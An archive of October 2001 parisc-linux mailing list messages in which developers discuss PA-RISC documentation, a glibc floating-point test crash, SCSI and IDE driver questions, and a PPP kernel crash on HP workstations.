Can someone more familiar with that part of the code (pb?) please comment?

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^




From - Thu Nov 08 21:19:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "BRANN,PAMELA (HP-FtCollins,ex1)" <pamela_brann@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Documentation PARISC 2.0
Date: Thu, 18 Oct 2001 13:52:05 -0700
Lines: 49
Approved: news@gmane.org
Message-ID: <AB57FCC5E303D511BB8F00A0C9F485C203AC4525@xfc02.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416620649 28269 80.91.229.3 (22 Nov 2014 01:44:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:09 +0000 (UTC)
Cc: "'carlos@megatonmonkey.net'" <carlos@megatonmonkey.net>,
	"'randolph@tausq.org'" <randolph@tausq.org>
To: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 18 14:52:13 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel13.hp.com (palrel13.hp.com [156.153.255.238])
	by dsl2.external.hp.com (Postfix) with ESMTP id 475F9482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 18 Oct 2001 14:52:13 -0600 (MDT)
Original-Received: from xparelay1.corp.hp.com (unknown [15.58.136.173])
	by palrel13.hp.com (Postfix) with ESMTP
	id 361B01F7C8; Thu, 18 Oct 2001 13:52:12 -0700 (PDT)
Original-Received: from xpabh4.corp.hp.com (xpabh4.corp.hp.com [15.58.136.1])
	by xparelay1.corp.hp.com (Postfix) with ESMTP
	id C01AD1F52C; Thu, 18 Oct 2001 13:52:06 -0700 (PDT)
Original-Received: by xpabh4.corp.hp.com with Internet Mail Service (5.5.2653.19)
	id <VD2MBLPD>; Thu, 18 Oct 2001 13:52:06 -0700
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:12722

Carlos, Randolph and others interested in PA-RISC 2.0 documentation -

My name is Pamela Brann and I am the new topic area owner for the pa-risc
section of HP's developer and solution partner portal (DSPP.)  This is the
portal Grant referenced in one of his replies to this thread.

I wanted to let you all know that I am currently looking into the
availability of providing a PDF version of this document on the pa-risc
topic page, located at
http://dsportal.eservices.hp.com/dspp/tech/tech_TechTypeListingPage_IDX/1,17
04,10403,00.html.  As Randolph mentioned, there is a hard copy of this book
and it is actually still available through Amazon.com (at least.)  There is
a link off the site linked above where you can order a copy of this book
online.  We have had some restrictions from the publisher in the past which
have kept us from publishing a PDF version of this particular document.  I
am currently looking into the status of these restrictions to see if we can
post a copy for you in this format.  Once I have a firm answer, I will post
to this list again with an update.  In the interim, feel free to use the
online version which is available from this site as well.

Please feel free to email me personally if you have any additional questions
about pa-risc documentation or if there is any other information that we can
provide for you on this site.

Sincerely,
Pamela Brann
Technical Topic Area Owner, DSPP
Developers Resource Lab
Hewlett-Packard
(970) 898-4835
pamela_brann@hp.com

...............................................
>> Does anyone have the PA-RISC 2.0 Architecture and Instruction
>> Set Reference Manual in pdf format? (or ps format)
>> 
>> I have the PA-RISC 1.1 docs, but the 2.0 docs seem to be 
>> available only as online html.
>
>dunno about pdf, but there's a PA2.0 architecture book (dead tree kind). 
>It's out of print but you can order it by special order from places 
>like FatBrain.  It's definitely a good reference.
>
>looks like HP reorganized some of the web pages and some of the links
>from http://www.parisc-linux.org/documentation/index.html are out of
>date... can someone fix them? 




From - Thu Nov 08 21:19:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [randolph@tausq.org: [parisc-linux] glibc update]
Date: Thu, 18 Oct 2001 15:02:56 -0700
Lines: 35
Approved: news@gmane.org
Message-ID: <20011018150255.I4123@tausq.org>
References: <20011017234038.C1060@megatonmonkey.net>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=unknown-8bit
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620649 28275 80.91.229.3 (22 Nov 2014 01:44:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:09 +0000 (UTC)
To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 18 16:03:11 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 627EA482A
	for <parisc-linux@parisc-linux.org>; Thu, 18 Oct 2001 16:03:10 -0600 (MDT)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id spaeiaaa for parisc-linux@parisc-linux.org; Thu, 18 Oct 2001 14:58:33 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 15uLFg-0004SI-00; Thu, 18 Oct 2001 15:02:56 -0700
Content-Disposition: inline
In-Reply-To: <20011017234038.C1060@megatonmonkey.net>
User-Agent: Mutt/1.3.20i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Xref: news.gmane.org gmane.linux.ports.parisc:12723

> >#3: http://people.debian.org/~tausq/glibc.build.log2
> >#2: http://people.debian.org/~tausq/glibc.build.log5
> 
> Have you tried running the tests by hand and seeing what the output is?
> What is the output of running:
> /home/randolph/gcc-3.0/glibc-2.2.4/hppa-linux/obj/math/test-fenv.out

eh? that's the output report file :)

i get a floating point exception when running the corresponding
executable.


Program received signal SIGFPE, Arithmetic exception.
0x4011b328 in vfprintf () from /lib/libc.so.6
(gdb) bt
#0  0x4011b328 in vfprintf () from /lib/libc.so.6
#1  0x40123490 in printf () from /lib/libc.so.6
#2  0x00010f8c in feenv_mask_test (
    flag_name=0x40210048 "@\036\177P@\036\177T@\036\177`@\036\177X@\036\177h@\036\177\220@\036\177@\036\177@\036\177@\036\177@\036\177@\036\177@\036\177@\036\200", fe_exc=1) at test-fenv.c:332
#3  0x0001160c in fe_single_test (flag_name=0x11f98 "FE_INEXACT", fe_exc=1)
    at test-fenv.c:607
#4  0x00011664 in feenv_tests () at test-fenv.c:625
#5  0x000116e4 in main () at test-fenv.c:654


randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^




From - Thu Nov 08 21:19:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] More on the B2000
Date: Thu, 18 Oct 2001 16:25:31 -0600
Lines: 19
Approved: news@gmane.org
Message-ID: <200110182225.QAA03204@puffin.external.hp.com>
References: <rhirst@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620650 28278 80.91.229.3 (22 Nov 2014 01:44:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:10 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 18 16:28:56 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id F3922482A
	for <parisc-linux@parisc-linux.org>; Thu, 18 Oct 2001 16:28:55 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id QAA03204;
	Thu, 18 Oct 2001 16:25:31 -0600
In-Reply-To: Message from Richard Hirst <rhirst@linuxcare.com> 
   of "Thu, 18 Oct 2001 19:35:35 BST." <20011018193535.T11105@linuxcare.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:12724

Richard Hirst wrote:
> On Thu, Oct 18, 2001 at 11:32:30AM -0600, Grant Grundler wrote:
> > I'm helping get IDE-CDOM working and I have also started work on
> > getting the built-in narrow scsi working (sym53c8xx driver needs
> > to make a PDC GET_INITIATOR call).
> 
> The narrow scsi works provided you boot with "sym53c8xx=buschk:2" as
> per the CD errata though, doesn't it?

I haven't tried that. I will.

I tried forcing the sym53c8xx to use narrow only and that
hangs the box. The internal LVD disk insist on
re-negotiating for wide and never get past that.

grant




From - Thu Nov 08 21:19:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@riverrock.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] travel backwards in time?
Date: Thu, 18 Oct 2001 17:23:00 -0600
Lines: 17
Approved: news@gmane.org
Message-ID: <m15uMVA-000Oz9C@bame.riverrock.org>
References: <20011018132145.H4123@tausq.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620650 28281 80.91.229.3 (22 Nov 2014 01:44:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:10 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 18 17:23:04 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.riverrock.org (rrc.dsl.frii.net [216.17.137.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7D16B482A
	for <parisc-linux@parisc-linux.org>; Thu, 18 Oct 2001 17:23:02 -0600 (MDT)
Original-Received: from bame.riverrock.org (bame.riverrock.org [199.254.238.240])
	by www.riverrock.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id RAA22149;
	Thu, 18 Oct 2001 17:23:00 -0600
Original-Received: from riverrock.org (really [127.0.0.1]) by bame.riverrock.org
	via smail with esmtp
	id <m15uMVA-000Oz9C@bame.riverrock.org> (Debian Smail3.2.0.111)
	for <randolph@tausq.org>; Thu, 18 Oct 2001 17:23:00 -0600 (MDT) 
In-Reply-To: Your message of "Thu, 18 Oct 2001 13:21:45 PDT."
             <20011018132145.H4123@tausq.org> 
Xref: news.gmane.org gmane.linux.ports.parisc:12725

> 
> Can someone more familiar with that part of the code (pb?) please comment?
> 

I never had lots of confidence in that code even though I introduced it
by distilling other archs -- and dimly recall not being able to use
ia64 for some reason, or maybe I'm remembering wrong.  I never felt
I completely understood the interaction with the sometimes-missed
timer interrupt and arch-independent timer handling, and some of the
other archs seemed to be unexpectedly different from each other.

How's that for a useless comment?! :-)

	-P




From - Thu Nov 08 21:19:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PPTP and PPPOE under Debian HPPA Linux.
Date: Thu, 18 Oct 2001 22:46:44 +0100
Lines: 54
Approved: news@gmane.org
Message-ID: <20011018224644.U11105@linuxcare.com>
References: <01a501c1565e$c9ce4e60$9601a8c0@utopia>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620650 28284 80.91.229.3 (22 Nov 2014 01:44:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:10 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: =?iso-8859-1?Q?DUTOT_St=E9phane?= <stephane.dutot@exlicite.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 18 19:12:12 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc3-hems4-0-cust183.bre.cable.ntl.com [213.107.179.183])
	by dsl2.external.hp.com (Postfix) with ESMTP id 978E4482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 18 Oct 2001 19:12:11 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id C7C88B00C; Thu, 18 Oct 2001 22:46:44 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <01a501c1565e$c9ce4e60$9601a8c0@utopia>; from stephane.dutot@exlicite.net on Tue, Oct 16, 2001 at 06:22:44PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:12726

I've just had a look at this.  Seems to be a problem related to
the kernel trying to invoke non-existant usermode helper progs.

I created a script /sbin/hotplug containing just


#!/bin/sh
echo hotplug: $* > /dev/console


and my kernel no longer crashes when trying to establish an async
ppp link.  Instead, I get this in syslog:

Mar 20 16:24:33 merlin pppd[221]: Serial connection established.
Mar 20 16:24:34 merlin insmod: Note: /etc/modules.conf is more recent than /lib/modules/2.4.9-32/modules.dep
Mar 20 16:24:34 merlin pppd[221]: using channel 1
Mar 20 16:24:34 merlin pppd[221]: Using interface ppp0
Mar 20 16:24:34 merlin pppd[221]: Connect: ppp0 <--> /dev/ttyS1
Mar 20 16:24:34 merlin pppd[221]: read: Resource temporarily unavailable       
Mar 20 16:24:34 merlin pppd[221]: read /dev/ppp: Resource temporarily unavailable
Mar 20 16:24:35 merlin pppd[221]: read: Resource temporarily unavailable
Mar 20 16:24:35 merlin pppd[221]: read /dev/ppp: Resource temporarily unavailable
Mar 20 16:24:35 merlin pppd[221]: sent [LCP ConfReq id=0x1 <asyncmap 0x0> <magic 0x7837ff6f> <pcomp> <accomp>]
Mar 20 16:24:35 merlin pppd[221]: read: Resource temporarily unavailable
Mar 20 16:24:35 merlin pppd[221]: read /dev/ppp: Resource temporarily unavailable
Mar 20 16:24:36 merlin pppd[221]: rcvd [LCP ConfAck id=0x1 <asyncmap 0x0> <magic 0x7837ff6f> <pcomp> <accomp>]
Mar 20 16:24:38 merlin pppd[221]: sent [LCP ConfReq id=0x1 <asyncmap 0x0> <magic 0x7837ff6f> <pcomp> <accomp>]
etc
etc

I guess next I need to figure out what is causing the "Resource
temporarily unavailable" (assuming that is an error).

iirc we have had problems with non-existant usermode helpers before,
and had to turn module support off until we had modutils ported.

Richard


On Tue, Oct 16, 2001 at 06:22:44PM +0200, DUTOT Stphane wrote:
> Hello,
> 
> I have a HP 712/100, I will install my HP station on Adsl gateway. For this, i need make a pptp or pppoe connexion.
> 
> When, the debian install kernel 2.4.0-32, when i start pppoe or pptp connexion, the pppd is launch and just after all system is block. With the last kernel version (2.4.9-pa45) downloaded on paris-linux site. When, i start pptp connexion, he has a kernel panic.
> 
> I have check the mailing-list archive. And i haven't found a begin of solution.
> 
> Maybe, do you have see this problem under the past ?
> 
> Thanks Stphane DUTOT.




From - Thu Nov 08 21:19:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ide_intr() code review
Date: Thu, 18 Oct 2001 22:47:27 -0600
Lines: 26
Approved: news@gmane.org
Message-ID: <200110190447.WAA03931@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620651 28286 80.91.229.3 (22 Nov 2014 01:44:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:11 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 18 22:50:50 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0D15B482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 18 Oct 2001 22:50:49 -0600 (MDT)
Original-Received: (from grundler@localhost)
	by puffin.external.hp.com (8.9.3/8.9.3) id WAA03931
	for parisc-linux@lists.parisc-linux.org; Thu, 18 Oct 2001 22:47:27 -0600
Xref: news.gmane.org gmane.linux.ports.parisc:12727

Hey, 
trivial thing that's not really a bug.

linux/spinlock.h:#define spin_lock_irqsave(lock, flags)               do { local_irq_save(flags);       spin_lock(lock); } while (0)

asm-parisc/system.h:#define local_irq_save(x) \
        __asm__ __volatile__("rsm %1,%0" : "=r" (x) :"i" (PSW_I) : "memory" )

/*
 * entry point for all interrupts, caller does __cli() for us
 */
void ide_intr (int irq, void *dev_id, struct pt_regs *regs)
{ 
...
        spin_lock_irqsave(&io_request_lock, flags);


is __cli() being done twice?

It just seems wrong to be calling spin_lock_irqsave() from
the interrupt handler.

grant




From - Thu Nov 08 21:19:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [randolph@tausq.org: [parisc-linux] glibc update]
Date: Fri, 19 Oct 2001 01:17:19 -0400
Lines: 45
Approved: news@gmane.org
Message-ID: <20011019011719.C12905@megatonmonkey.net>
References: <20011017234038.C1060@megatonmonkey.net> <20011018150255.I4123@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620651 28291 80.91.229.3 (22 Nov 2014 01:44:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:11 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 18 23:15:51 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from megatonmonkey.net (cr821974-a.lndn1.on.wave.home.com [24.112.53.173])
	by dsl2.external.hp.com (Postfix) with ESMTP id 68846482A
	for <parisc-linux@parisc-linux.org>; Thu, 18 Oct 2001 23:15:50 -0600 (MDT)
Original-Received: from sh.od.inet (IDENT:root@systemhalted [192.168.1.1])
	by megatonmonkey.net (8.11.0/8.11.0) with ESMTP id f9J65pG08243;
	Fri, 19 Oct 2001 02:05:52 -0400
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id f9J5HJJ13433;
	Fri, 19 Oct 2001 01:17:19 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	Randolph Chung <randolph@tausq.org>, parisc-linux@parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20011018150255.I4123@tausq.org>; from randolph@tausq.org on Thu, Oct 18, 2001 at 03:02:56PM -0700
X-Useless-Header: oooohhmmm, chant the email mantra...
Xref: news.gmane.org gmane.linux.ports.parisc:12728

> 
> eh? that's the output report file :)
> 
> i get a floating point exception when running the corresponding
> executable.
> 
> 
> Program received signal SIGFPE, Arithmetic exception.
> 0x4011b328 in vfprintf () from /lib/libc.so.6
> (gdb) bt
> #0  0x4011b328 in vfprintf () from /lib/libc.so.6
> #1  0x40123490 in printf () from /lib/libc.so.6
> #2  0x00010f8c in feenv_mask_test (
>     flag_name=0x40210048 "@\036\177P@\036\177T@\036\177`@\036\177X@\036\177h@\036\177\220@\036\177@\036\177@\036\177@\036\177@\036\177@\036\177@\036\177@\036\200", fe_exc=1) at test-fenv.c:332
> #3  0x0001160c in fe_single_test (flag_name=0x11f98 "FE_INEXACT", fe_exc=1)
>     at test-fenv.c:607
> #4  0x00011664 in feenv_tests () at test-fenv.c:625
> #5  0x000116e4 in main () at test-fenv.c:654
> 
>

When running these tests, it gets a little complex.
I'm pretty sure the test needs to be run against the
libc.so.6 that you are building, and not the one in /lib
on your system.

You could set the LD_LIBRARY_PATH to the location of the
objects you are building and then run it...

However, if you do that, then gdb might act strangely
with this newly built libc (since ld trying to load gdb
will use the libc in the library path).

How do you load gdb with one libc and debug a program
that uses another?

When I run the test-fenv, I get a whole list of output
criteria, but it finally exist with $?=132
I'm running with LD_LIBRARY_PATH set to the new libc,
glibc 2.2.4-2, built with newer binutils.

c.




From - Thu Nov 08 21:19:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PPTP and PPPOE under Debian HPPA Linux.
Date: Fri, 19 Oct 2001 07:49:16 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <20011019074916.V11105@linuxcare.com>
References: <01a501c1565e$c9ce4e60$9601a8c0@utopia> <20011018224644.U11105@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620651 28292 80.91.229.3 (22 Nov 2014 01:44:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: =?iso-8859-1?Q?DUTOT_St=E9phane?= <stephane.dutot@exlicite.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 19 00:49:11 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc3-hems4-0-cust183.bre.cable.ntl.com [213.107.179.183])
	by dsl2.external.hp.com (Postfix) with ESMTP id E4F15482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 19 Oct 2001 00:49:10 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id C299EB00C; Fri, 19 Oct 2001 07:49:16 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20011018224644.U11105@linuxcare.com>; from rhirst@linuxcare.com on Thu, Oct 18, 2001 at 10:46:44PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:12729

On Thu, Oct 18, 2001 at 10:46:44PM +0100, Richard Hirst wrote:
> I've just had a look at this.  Seems to be a problem related to
> the kernel trying to invoke non-existant usermode helper progs.
> 
> I created a script /sbin/hotplug containing just
> 
> 
> #!/bin/sh
> echo hotplug: $* > /dev/console
> 

Don't forget to chmod +x that script.

> and my kernel no longer crashes when trying to establish an async
> ppp link.  Instead, I get this in syslog:

The real problem there was that I was using the wrong authentication
method for my isp.  Once I set that right the link came up.

Richard





From - Thu Nov 08 21:19:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [randolph@tausq.org: [parisc-linux] glibc update]
Date: Fri, 19 Oct 2001 14:39:57 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <20011019143957.A29388@parcelfarce.linux.theplanet.co.uk>
References: <20011017234038.C1060@megatonmonkey.net> <20011018150255.I4123@tausq.org> <20011019011719.C12905@megatonmonkey.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620652 28299 80.91.229.3 (22 Nov 2014 01:44:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:12 +0000 (UTC)
To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	Randolph Chung <randolph@tausq.org>, parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 19 07:40:19 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id E8EE9482A
	for <parisc-linux@parisc-linux.org>; Fri, 19 Oct 2001 07:40:18 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15uZsT-000813-00; Fri, 19 Oct 2001 14:39:57 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20011019011719.C12905@megatonmonkey.net>; from carlos@megatonmonkey.net on Fri, Oct 19, 2001 at 01:17:19AM -0400
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12730

On Fri, Oct 19, 2001 at 01:17:19AM -0400, Carlos O'Donell Jr. wrote:
> You could set the LD_LIBRARY_PATH to the location of the
> objects you are building and then run it...
> 
> However, if you do that, then gdb might act strangely
> with this newly built libc (since ld trying to load gdb
> will use the libc in the library path).
> 
> How do you load gdb with one libc and debug a program
> that uses another?

run gdb, then type
set env LD_LIBRARY_PATH blah blah blah

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [randolph@tausq.org: [parisc-linux] glibc update]
Date: Fri, 19 Oct 2001 12:06:28 -0400 (EDT)
Lines: 12
Approved: news@gmane.org
Message-ID: <200110191606.f9JG6SVC003149@hiauly1.hia.nrc.ca>
References: <20011019011719.C12905@megatonmonkey.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620652 28301 80.91.229.3 (22 Nov 2014 01:44:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:12 +0000 (UTC)
Cc: randolph@tausq.org, parisc-linux@parisc-linux.org
To: carlos@megatonmonkey.net (Carlos O'Donell Jr.)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 19 10:06:39 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id ACF8A482A
	for <parisc-linux@parisc-linux.org>; Fri, 19 Oct 2001 10:06:38 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id f9JG6ToE003150;
	Fri, 19 Oct 2001 12:06:29 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id f9JG6SVC003149;
	Fri, 19 Oct 2001 12:06:28 -0400 (EDT)
In-Reply-To: <20011019011719.C12905@megatonmonkey.net> from "Carlos O'Donell Jr." at Oct 19, 2001 01:17:19 am
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:12731

> How do you load gdb with one libc and debug a program
> that uses another?

Build a static version of gdb.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)




From - Thu Nov 08 21:19:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jean-Yves GUILLEVIC" <jyguillevic@trace.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 715S/33 aka Strider-33
Date: Fri, 19 Oct 2001 20:07:59 +0200
Organization: =?iso-8859-1?Q?Trace_Ing=E9nierie?=
Lines: 44
Approved: news@gmane.org
Message-ID: <001801c158c8$fd335db0$010101a8@TPDEV.local>
Reply-To: "Jean-Yves GUILLEVIC" <jyguillevic@trace.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0015_01C158D9.BFC79480"
X-Trace: ger.gmane.org 1416620652 28303 80.91.229.3 (22 Nov 2014 01:44:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:12 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
